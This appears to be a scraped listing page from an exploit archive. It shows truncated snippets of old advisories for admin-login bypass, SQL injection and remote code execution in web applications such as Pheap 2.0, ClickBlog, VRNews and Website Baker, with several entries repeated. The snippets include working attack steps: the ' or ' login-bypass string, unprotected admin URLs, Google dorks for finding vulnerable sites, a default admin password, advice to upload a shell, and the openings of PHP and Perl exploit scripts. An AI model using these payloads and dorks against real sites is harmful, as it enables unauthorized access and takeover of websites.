ecms-bypass.txt

Entertainment CMS Admin Login Bypass Web: Entertainment CMS Demo : http://multimedia.mydlstore.net/ Download: http://rapidshare.com/files/39640099/enter-cms.rar Author: Kw3rLn tehlostbyteatYaHoOd0tCom Romanian Security Team Ethical Hacking - hTTp://RSTZONE.nET Vulnerable codE: $adminOK=0; if...

mycms098-exec.txt

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argc 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n";...

vrnews-bypass.txt

VRNews v1.x = /VRNews/admin.php Permission Found by: R4M! - [email protected] Dork: intitle:"vrnews v1" Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm Example: 1. /VRNews/admin.php?act=edit 2. /VRNews/admin.php?act=add 3. /VRNews/admin.php?act=config 4. /VRNews/admin.php?act=del...

Pheap 2.0 Admin Bypass / Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user verification routine used in most of the files is: include"lib/config.php"; if $COOKIE'pheaplogin' != $username header"Location: login.php"; else CONTINUE EXECUTING CODE So basically it's saying "I...

Pheap 2.0 - Authentication Bypass Remote Code Execution

Pheap 2.0 - Authentication Bypass Remote Code Execution !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user verification routine used in most of the files is: include"lib/config.php"; if $COOKIE'pheaplogin' != $username header"Location: login.php"; else CONTINUE EXECUTING CODE So...

Pheap 2.0 Admin Bypass / Remote Code Execution Exploit

Exploit for unknown platform in category web applications ====================================================== Pheap 2.0 Admin Bypass / Remote Code Execution Exploit ====================================================== !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user...

efriends-admin.txt

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argc 126 $result...

Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns

No description provided by source. \|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip Author : Dj7xpl /...

Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns

Exploit for unknown platform in category web applications ================================================================== Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns ================================================================== \|/// \ - - // @ @...

ClickBlog! <= v2.0 (default.asp) Admin ByPASS SQL Injection

ENGLISH Title : ClickBlog! = v2.0 default.asp Admin ByPASS SQL Injection Author : ajann Exploit; //Before join login page http://target/path/default.asp Username : ' or ' Password : ' or ' and Login Ok ajann,Turkey...

Complain Center v1(loginprocess.asp) Admin ByPASS SQL Injection

ENGLISH Title : Complain Center v1loginprocess.asp Admin ByPASS SQL Injection Author : ajann Exploit; CODE loginprocess.asp: .. ... dim varUser dim varPass varUser=Request.Form"TxtUser" No Secure : varPass=Request.Form"TxtPass" No Secure : .. ... //Before join login page...

ccv1.txt

ENGLISH Title : Complain Center v1loginprocess.asp Admin ByPASS SQL Injection Author : ajann Exploit; CODE loginprocess.asp: .. ... dim varUser dim varPass varUser=Request.Form"TxtUser" No Secure : varPass=Request.Form"TxtPass" No Secure : .. ... //Before join login page...

clickblog20.txt

ENGLISH Title : ClickBlog! = v2.0 default.asp Admin ByPASS SQL Injection Author : ajann Exploit; //Before join login page http://target/path/default.asp Username : ' or ' Password : ' or ' and Login Ok ajann,Turkey...

Eskolar CMS 0.9.0.0 - Blind SQL Injection

================================================================================================== !/usr/bin/perl use IO::Socket; ==================================================================================================...

Planetnews Authecnication Admin ByPass

SOFTWARE: =========== again Planetc : Planetnews http://www.planetc.de DESCRIPTION: ============ google dork = planetnews filetype:php last path add to "admin/planetnews.php" edit or add to news, and upload your shell example; http://www.site.com/news/admin/planetnews.php Credits:AlpEren and tugr...

Simple PHP Poll Authecnication Admin ByPass

Simple PHP Poll http://www.cgixp.tk/ DESCRIPTION: ============ google dork = "Poewred By: Simple PHP Poll" and "Powered By: Simple PHP Poll" administrator login path /polladmin.php login to default admin pass "administrator" or add to ; ?action=edit&filename=question.txtquestions page...

phpjobboard Authecnical admin byPass

SOFTWARE ========== phpjobboard DESCRIPTION: ============ job board administration bypass, and edit or add to new job. example http://target/phpjobboard or your path/admin.php?menu=job&adminop=job-edit&id=item id ============================================ greets...

philbookmark.txt

From: [email protected] Subject: Phil's Bookmark script admin By-pass google dork : "Phil's Bookmark" and lasth path add to "admin.php?edit=item id" example: www.site.com/bookmarks/admin.php?edit=1 www.ayyildiz.org...

JiRos Banner Experience 1.0 (Create Admin Bypass) Remote Exploit

Exploit for unknown platform in category web applications ================================================================ JiRos Banner Experience 1.0 Create Admin Bypass Remote Exploit ================================================================ Jiros Banner Experience Pro Unauthorized Admin...

wbaker_260_xpl.txt

Website Baker Login bypass - remote code execution software: site: http://www.websitebaker.org/2/home/ description: "Website Baker 2, the Open Source Content Management System designed to enable users to produce websites with ease." if magicquotesgpc off you can bypass admin login check and grant...